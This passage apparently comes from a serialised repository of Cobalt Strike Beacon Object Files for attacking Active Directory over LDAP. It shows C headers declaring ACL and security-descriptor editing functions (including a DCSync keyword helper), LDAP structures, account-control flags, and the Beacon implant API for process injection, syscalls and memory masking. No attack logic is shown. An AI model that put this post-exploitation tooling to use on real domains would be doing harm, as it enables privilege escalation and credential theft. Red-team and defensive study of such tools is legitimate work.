dwAceRevision,\n    DWORD AceFlags,\n    DWORD AccessMask,\n    PSID pSid\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AddAccessDeniedAce(\n    PACL pAcl,\n    DWORD dwAceRevision,\n    DWORD AccessMask,\n    PSID pSid\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AddAccessDeniedAceEx(\n    PACL pAcl,\n    DWORD dwAceRevision,\n    DWORD AceFlags,\n    DWORD AccessMask,\n    PSID pSid\n);\n\n// Memory allocation for ADVAPI32 functions\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);\n\n// GUID functions\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$UuidFromStringA(\n    RPC_CSTR StringUuid,\n    GUID* Uuid\n);\n\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(\n    GUID* Uuid,\n    RPC_CSTR* StringUuid\n);\n\n// ============================================================================\n// SHARED FUNCTION DECLARATIONS\n// ============================================================================\n\n// Helper functions\nBOOL IsDCSyncKeyword(const char* maskStr);\n\n// Security Descriptor operations\nBERVAL* ReadSecurityDescriptor(LDAP* ld, const char* objectDN);\nBOOL WriteSecurityDescriptor(LDAP* ld, const char* objectDN, BERVAL* sdBerval);\nPSD_INFO ParseSecurityDescriptor(BYTE* sdBuffer, DWORD sdLength);\nvoid FreeSecurityDescriptorInfo(PSD_INFO sdInfo);\n\n// ACE parsing and manipulation\nBOOL ParseAce(PACE_HEADER aceHeader, PPARSED_ACE_INFO parsedAce);\nchar* GetAceTypeString(BYTE aceType);\nchar* GetAceFlagsString(BYTE aceFlags);\nchar* GetAccessMaskString(ACCESS_MASK mask);\nACCESS_MASK ParseAccessMask(const char* maskStr);\nBYTE ParseAceType(const char* typeStr);\nBYTE ParseAceFlags(const char* flagsStr);\nchar* GetInheritanceTypeString(BYTE aceFlags);\n\n// SID utilities\nchar* SidToString(PSID sid);\nPSID StringToSid(const char* sidString);\nchar* ResolveSidToName(LDAP* ld, const char* sidString, const char* defaultNC);\nPSID GetSidFromAce(PACE_HEADER aceHeader);\nPSID GetObjectSid(LDAP* ld, const char* objectDN);\n\n// GUID utilities\nBOOL StringToGuid(const char* guidString, GUID* guid);\nchar* GuidToString(GUID* guid);\nchar* GetGuidFriendlyName(GUID* guid);\n\n// Display utilities\nvoid PrintSecurityDescriptorInfo(PSD_INFO sdInfo, const char* objectDN, const char* objectSid);\nvoid PrintAceInfo(PPARSED_ACE_INFO aceInfo, int index, const char* objectDN, const char* objectSid);\n\n// ACL modification utilities\nPACL CreateNewDaclWithAce(PACL oldDacl, PSID trusteeSid, ACCESS_MASK accessMask, \n                          BYTE aceType, BYTE aceFlags, GUID* objectTypeGuid, GUID* inheritedObjectTypeGuid);\nPACL CreateNewDaclWithoutAces(PACL oldDacl, DWORD* aceIndicesToRemove, DWORD removeCount);\nBERVAL* ConvertSecurityDescriptorToBerval(PSECURITY_DESCRIPTOR pSD);\nPSECURITY_DESCRIPTOR ConvertBervalToSecurityDescriptor(BERVAL* sdBerval);\n\n#endif // ACL_COMMON_H"
  },
  {
    "path": "AD-BOF/LDAP-BOF/_include/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n *    3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL\n *               Updated the BEACON_INFO data structure to add new parameters\n *    4/19/2024: Added BeaconGetSyscallInformation API for 4.10\n *    4/25/2024: Added APIs to call Beacon's system call implementation\n *    12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)\n *    2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11\n *    3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12\n *    4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12\n *    7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12\n */\n#ifndef _BEACON_H_\n#define _BEACON_H_\n#include <windows.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif // __cplusplus\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, const char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, const char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_CUSTOM      0x1000\n#define CALLBACK_CUSTOM_LAST 0x13ff\n\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, const char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, const char * fmt, ...);\nDECLSPEC_IMPORT BOOL   BeaconDownload(const char * filename, const char* buffer, unsigned int length);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/* Information the user can set in the USER_DATA via a UDRL */\ntypedef enum {\n\tPURPOSE_EMPTY,\n\tPURPOSE_GENERIC_BUFFER,\n\tPURPOSE_BEACON_MEMORY,\n\tPURPOSE_SLEEPMASK_MEMORY,\n\tPURPOSE_BOF_MEMORY,\n\tPURPOSE_UDC2_MEMORY,\n\tPURPOSE_USER_DEFINED_MEMORY = 1000\n} ALLOCATED_MEMORY_PURPOSE;\n\ntypedef enum {\n\tLABEL_EMPTY,\n\tLABEL_BUFFER,\n\tLABEL_PEHEADER,\n\tLABEL_TEXT,\n\tLABEL_RDATA,\n\tLABEL_DATA,\n\tLABEL_PDATA,\n\tLABEL_RELOC,\n\tLABEL_USER_DEFINED = 1000\n} ALLOCATED_MEMORY_LABEL;\n\ntypedef enum {\n\tMETHOD_UNKNOWN,\n\tMETHOD_VIRTUALALLOC,\n\tMETHOD_HEAPALLOC,\n\tMETHOD_MODULESTOMP,\n\tMETHOD_NTMAPVIEW,\n\tMETHOD_USER_DEFINED = 1000,\n} ALLOCATED_MEMORY_ALLOCATION_METHOD;\n\n/**\n* This structure allows the user to provide additional information\n* about the allocated heap for cleanup. It is mandatory to provide\n* the HeapHandle but the DestroyHeap Boolean can be used to indicate\n* whether the clean up code should destroy the heap or simply free the pages.\n* This is useful in situations where a loader allocates memory in the\n* processes current heap.\n*/\ntypedef struct _HEAPALLOC_INFO {\n\tPVOID HeapHandle;\n\tBOOL  DestroyHeap;\n} HEAPALLOC_INFO, *PHEAPALLOC_INFO;\n\ntypedef struct _MODULESTOMP_INFO {\n\tHMODULE ModuleHandle;\n} MODULESTOMP_INFO, *PMODULESTOMP_INFO;\n\ntypedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {\n\tHEAPALLOC_INFO HeapAllocInfo;\n\tMODULESTOMP_INFO ModuleStompInfo;\n\tPVOID Custom;\n} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {\n\tBOOL Cleanup;\n\tALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;\n\tALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;\n} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_SECTION {\n\tALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development\n\tPVOID  BaseAddress;           // Pointer to virtual address of section\n\tSIZE_T VirtualSize;           // Virtual size of the section\n\tDWORD  CurrentProtect;        // Current memory protection of the section\n\tDWORD  PreviousProtect;       // The previous memory protection of the section (prior to masking/unmasking)\n\tBOOL   MaskSection;           // A boolean to indicate whether the section should be masked\n\tDWORD  DripLoadPageSize;      // The page size used when committing memory during drip-loading\n} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;\n\ntypedef struct _ALLOCATED_MEMORY_REGION {\n\tALLOCATED_MEMORY_PURPOSE Purpose;      // A label to indicate the purpose of the allocated memory\n\tPVOID  AllocationBase;                 // The base address of the allocated memory block\n\tSIZE_T RegionSize;                     // The size of the allocated memory block\n\tDWORD Type;                            // The type of memory allocated\n\tDWORD DripLoadAllocationGranularity;   // The allocation granularity used when reserving memory for drip-loading\n\tALLOCATED_MEMORY_SECTION Sections[8];  // An array of section information structures\n\tALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation\n} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;\n\ntypedef struct {\n\tALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];\n} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;\n\n/*\n *  version               - The version of the beacon dll was added for release 4.10\n *                          version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n *                          e.g. 0x040900 -> CS 4.9\n *                               0x041000 -> CS 4.10\n *\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n *\n *  Added in version 4.10\n *  allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA\n *                     via a UDRL.\n */\ntypedef struct {\n\tunsigned int version;\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n\n\tALLOCATED_MEMORY allocatedMemory;\n} BEACON_INFO, *PBEACON_INFO;\n\nDECLSPEC_IMPORT BOOL   BeaconInformation(PBEACON_INFO info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nDECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);\nDECLSPEC_IMPORT void * BeaconGetValue(const char * key);\nDECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nDECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);\nDECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nDECLSPEC_IMPORT char * BeaconGetCustomUserData();\n\n/* Beacon System call */\n/* Syscalls API */\ntypedef struct\n{\n\tPVOID fnAddr;\n\tPVOID jmpAddr;\n\tDWORD sysnum;\n} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;\n\ntypedef struct\n{\n\tSYSCALL_API_ENTRY ntAllocateVirtualMemory;\n\tSYSCALL_API_ENTRY ntProtectVirtualMemory;\n\tSYSCALL_API_ENTRY ntFreeVirtualMemory;\n\tSYSCALL_API_ENTRY ntGetContextThread;\n\tSYSCALL_API_ENTRY ntSetContextThread;\n\tSYSCALL_API_ENTRY ntResumeThread;\n\tSYSCALL_API_ENTRY ntCreateThreadEx;\n\tSYSCALL_API_ENTRY ntOpenProcess;\n\tSYSCALL_API_ENTRY ntOpenThread;\n\tSYSCALL_API_ENTRY ntClose;\n\tSYSCALL_API_ENTRY ntCreateSection;\n\tSYSCALL_API_ENTRY ntMapViewOfSection;\n\tSYSCALL_API_ENTRY ntUnmapViewOfSection;\n\tSYSCALL_API_ENTRY ntQueryVirtualMemory;\n\tSYSCALL_API_ENTRY ntDuplicateObject;\n\tSYSCALL_API_ENTRY ntReadVirtualMemory;\n\tSYSCALL_API_ENTRY ntWriteVirtualMemory;\n\tSYSCALL_API_ENTRY ntReadFile;\n\tSYSCALL_API_ENTRY ntWriteFile;\n\tSYSCALL_API_ENTRY ntCreateFile;\n\tSYSCALL_API_ENTRY ntQueueApcThread;\n\tSYSCALL_API_ENTRY ntCreateProcess;\n\tSYSCALL_API_ENTRY ntOpenProcessToken;\n\tSYSCALL_API_ENTRY ntTestAlert;\n\tSYSCALL_API_ENTRY ntSuspendProcess;\n\tSYSCALL_API_ENTRY ntResumeProcess;\n\tSYSCALL_API_ENTRY ntQuerySystemInformation;\n\tSYSCALL_API_ENTRY ntQueryDirectoryFile;\n\tSYSCALL_API_ENTRY ntSetInformationProcess;\n\tSYSCALL_API_ENTRY ntSetInformationThread;\n\tSYSCALL_API_ENTRY ntQueryInformationProcess;\n\tSYSCALL_API_ENTRY ntQueryInformationThread;\n\tSYSCALL_API_ENTRY ntOpenSection;\n\tSYSCALL_API_ENTRY ntAdjustPrivilegesToken;\n\tSYSCALL_API_ENTRY ntDeviceIoControlFile;\n\tSYSCALL_API_ENTRY ntWaitForMultipleObjects;\n} SYSCALL_API, *PSYSCALL_API;\n\n/* Additional Run Time Library (RTL) addresses used to support system calls.\n * If they are not set then system calls that require them will fall back\n * to the Standard Windows API.\n *\n * Required to support the following system calls:\n *    ntCreateFile\n */\ntypedef struct\n{\n\tPVOID rtlDosPathNameToNtPathNameUWithStatusAddr;\n\tPVOID rtlFreeHeapAddr;\n\tPVOID rtlGetProcessHeapAddr;\n} RTL_API, *PRTL_API;\n\n/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.\n * This allows for retrieving a copy of the information which would be under the BOF's\n * control instead of a reference pointer which may be obfuscated when beacon is sleeping.\n */\ntypedef struct\n{\n\tSYSCALL_API syscalls;\n\tRTL_API     rtls;\n} BEACON_SYSCALLS, *PBEACON_SYSCALLS;\n\n/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */\nDECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);\n\n/* Beacon System call functions which will use the current system call method */\nDECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nDECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);\nDECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);\nDECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);\nDECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);\nDECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);\nDECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);\nDECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);\nDECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);\nDECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\n\n/* Beacon Gate APIs */\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGate();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGate();\n\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();\n\n/* Beacon User Data\n *\n * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n * e.g. 0x040900 -> CS 4.9\n *      0x041000 -> CS 4.10\n*/\n\n#define DLL_BEACON_USER_DATA 0x0d\n#define BEACON_USER_DATA_CUSTOM_SIZE 32\ntypedef struct\n{\n\tunsigned int version;\n\tPSYSCALL_API syscalls;\n\tchar         custom[BEACON_USER_DATA_CUSTOM_SIZE];\n\tPRTL_API     rtls;\n\tPALLOCATED_MEMORY allocatedMemory;\n} USER_DATA, * PUSER_DATA;\n\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n#endif // _BEACON_H_\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/_include/ldap_common.h",
    "content": "#ifndef LDAP_COMMON_H\n#define LDAP_COMMON_H\n\n#include <windows.h>\n\n// LDAP timeval structure\nstruct l_timeval {\n    LONG tv_sec;\n    LONG tv_usec;\n};\n\n// LDAP structures and constants\ntypedef struct ldap {\n    struct {\n        UINT_PTR sb_sd;\n        UCHAR Reserved1[(10*sizeof(ULONG))+1];\n        ULONG_PTR sb_naddr;\n        UCHAR Reserved2[(6*sizeof(ULONG))];\n    } ld_sb;\n    PCHAR ld_host;\n    ULONG ld_version;\n    UCHAR ld_lberoptions;\n    ULONG ld_deref;\n    ULONG ld_timelimit;\n    ULONG ld_sizelimit;\n    ULONG ld_errno;\n    PCHAR ld_matched;\n    PCHAR ld_error;\n    ULONG ld_msgid;\n    UCHAR Reserved3[(6*sizeof(ULONG))+1];\n    ULONG ld_cldaptries;\n    ULONG ld_cldaptimeout;\n    ULONG ld_refhoplimit;\n    ULONG ld_options;\n} LDAP, *PLDAP;\n\ntypedef struct berval {\n    ULONG bv_len;\n    PCHAR bv_val;\n} LDAP_BERVAL, *PLDAP_BERVAL, BERVAL, *PBERVAL, BerValue;\n\ntypedef struct berelement {\n  PCHAR opaque;\n} BerElement;\n\ntypedef struct ldapmodA {\n    ULONG mod_op;\n    PCHAR mod_type;\n    union {\n        PCHAR *modv_strvals;\n        struct berval **modv_bvals;\n    } mod_vals;\n} LDAPModA, *PLDAPModA;\n\ntypedef struct ldapcontrolA {\n    PCHAR ldctl_oid;\n    struct berval ldctl_value;\n    BOOLEAN ldctl_iscritical;\n} LDAPControlA, *PLDAPControlA;\n\ntypedef struct ldapmsg {\n    ULONG lm_msgid;\n    ULONG lm_msgtype;\n    PVOID lm_ber;\n    struct ldapmsg* lm_chain;\n    struct ldapmsg* lm_next;\n    ULONG lm_time;\n    LDAP* Connection;\n    PVOID Request;\n    ULONG lm_returncode;\n    USHORT lm_referral;\n    BOOLEAN lm_chased;\n    BOOLEAN lm_eom;\n    BOOLEAN ConnectionReferenced;\n} LDAPMessage, *PLDAPMessage;\n\n// LDAP Constants\n#define LDAP_PORT 389\n#define LDAP_SSL_PORT 636\n#define LDAP_VERSION3 3\n\n// LDAP SSL Options\n#define LDAP_OPT_SSL 0x0a\n#define LDAP_OPT_SSL_OFF 0\n#define LDAP_OPT_SSL_ON 1\n\n// LDAP Operation Constants\n#define LDAP_MOD_ADD 0x00\n#define LDAP_MOD_DELETE 0x01\n#define LDAP_MOD_REPLACE 0x02\n#define LDAP_MOD_BVALUES 0x80\n\n// LDAP Return Codes\n#define LDAP_SUCCESS 0x00\n#define LDAP_OPERATIONS_ERROR 0x01\n#define LDAP_PROTOCOL_ERROR 0x02\n#define LDAP_TIMELIMIT_EXCEEDED 0x03\n#define LDAP_ALREADY_EXISTS 0x44\n#define LDAP_INSUFFICIENT_RIGHTS 0x32\n#define LDAP_INVALID_DN_SYNTAX 0x22\n#define LDAP_NO_SUCH_OBJECT 0x20\n#define LDAP_SERVER_DOWN 0x51\n#define LDAP_INVALID_CREDENTIALS 0x31\n#define LDAP_NO_SUCH_ATTRIBUTE 0x10\n#define LDAP_CONSTRAINT_VIOLATION 0x13\n#define LDAP_TYPE_OR_VALUE_EXISTS 0x14\n#define LDAP_ATTRIBUTE_OR_VALUE_EXISTS\tLDAP_TYPE_OR_VALUE_EXISTS\n#define LDAP_UNWILLING_TO_PERFORM 0x35\n#define LDAP_OBJECT_CLASS_VIOLATION 0x41\n\n// LDAP Options\n#define LDAP_OPT_PROTOCOL_VERSION 0x11\n#define LDAP_OPT_VERSION 0x11\n#define LDAP_OPT_SERVER_CERTIFICATE 0x81\n#define LDAP_OPT_SIGN 0x95\n#define LDAP_OPT_ENCRYPT 0x96\n\n// LDAP SSL Certificate Verification\n#define LDAP_OPT_ON ((void*)1)\n#define LDAP_OPT_OFF ((void*)0)\n\n// Certificate callback type\ntypedef BOOLEAN (*VERIFYSERVERCERT)(PLDAP Connection, PCCERT_CONTEXT pServerCert);\n\n// Authentication methods\n#define LDAP_AUTH_NEGOTIATE 0x0486\n\n// LDAP search scope values\n#define LDAP_SCOPE_BASE 0x00\n#define LDAP_SCOPE_ONELEVEL 0x01\n#define LDAP_SCOPE_SUBTREE 0x02\n\n// LDAP Server Controls\n#define LDAP_SERVER_SD_FLAGS_OID \"1.2.840.113556.1.4.801\"\n\n// User Account Control (UAC) flags\n// Reference: https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties\n#define UF_SCRIPT                           0x00000001  // Logon script executed\n#define UF_ACCOUNTDISABLE                   0x00000002  // Account disabled\n#define UF_HOMEDIR_REQUIRED                 0x00000008  // Home directory required\n#define UF_LOCKOUT                          0x00000010  // Account locked out\n#define UF_PASSWD_NOTREQD                   0x00000020  // No password required\n#define UF_PASSWD_CANT_CHANGE               0x00000040  // User cannot change password\n#define UF_ENCRYPTED_TEXT_PWD_ALLOWED       0x00000080  // Store password using reversible encryption\n#define UF_TEMP_DUPLICATE_ACCOUNT           0x00000100  // Local user account\n#define UF_NORMAL_ACCOUNT                   0x00000200  // Default account type (user)\n#define UF_INTERDOMAIN_TRUST_ACCOUNT        0x00000800  // Interdomain trust account\n#define UF_WORKSTATION_TRUST_ACCOUNT        0x00001000  // Workstation trust account (computer)\n#define UF_SERVER_TRUST_ACCOUNT             0x00002000  // Domain controller account\n#define UF_DONT_EXPIRE_PASSWD               0x00010000  // Password never expires\n#define UF_MNS_LOGON_ACCOUNT                0x00020000  // MNS logon account\n#define UF_SMARTCARD_REQUIRED               0x00040000  // Smart card required for interactive logon\n#define UF_TRUSTED_FOR_DELEGATION           0x00080000  // Account trusted for Kerberos delegation\n#define UF_NOT_DELEGATED                    0x00100000  // Account cannot be delegated\n#define UF_USE_DES_KEY_ONLY                 0x00200000  // Restrict to DES encryption types\n#define UF_DONT_REQ_PREAUTH                 0x00400000  // Kerberos pre-authentication not required (AS-REP roasting!)\n#define UF_PASSWORD_EXPIRED                 0x00800000  // Password expired\n#define UF_TRUSTED_TO_AUTH_FOR_DELEGATION   0x01000000  // Account enabled for delegation (constrained delegation)\n#define UF_NO_AUTH_DATA_REQUIRED            0x02000000  // Account does not require Kerberos PAC\n#define UF_PARTIAL_SECRETS_ACCOUNT          0x04000000  // RODC partial secrets account\n\n// Account type flags (should never be cleared)\n#define UF_ACCOUNT_TYPE_MASK (UF_NORMAL_ACCOUNT | UF_WORKSTATION_TRUST_ACCOUNT | UF_SERVER_TRUST_ACCOUNT | UF_INTERDOMAIN_TRUST_ACCOUNT)\n\n// NETAPI32 imports for DC discovery\ntypedef struct _DOMAIN_CONTROLLER_INFOA {\n    LPSTR DomainControllerName;\n    LPSTR DomainControllerAddress;\n    ULONG DomainControllerAddressType;\n    GUID DomainGuid;\n    LPSTR DomainName;\n    LPSTR DnsForestName;\n    ULONG Flags;\n    LPSTR DcSiteName;\n    LPSTR ClientSiteName;\n} DOMAIN_CONTROLLER_INFOA, *PDOMAIN_CONTROLLER_INFOA;\n\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(\n    LPCSTR ComputerName,\n    LPCSTR DomainName,\n    GUID *DomainGuid,\n    LPCSTR SiteName,\n    ULONG Flags,\n    PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo\n);\n\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);\n\n// KERNEL32 imports\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);\n\n// ADVAPI32 imports for security descriptor operations\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorA(\n    PSECURITY_DESCRIPTOR SecurityDescriptor,\n    DWORD RequestedStringSDRevision,\n    DWORD SecurityInformation,\n    LPSTR* StringSecurityDescriptor,\n    PULONG StringSecurityDescriptorLen\n);\n\n// LDAP API function imports - ANSI versions\nDECLSPEC_IMPORT LDAP* WLDAP32$ldap_init(PCHAR HostName, ULONG PortNumber);\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_set_option(LDAP* ld, int option, const void* 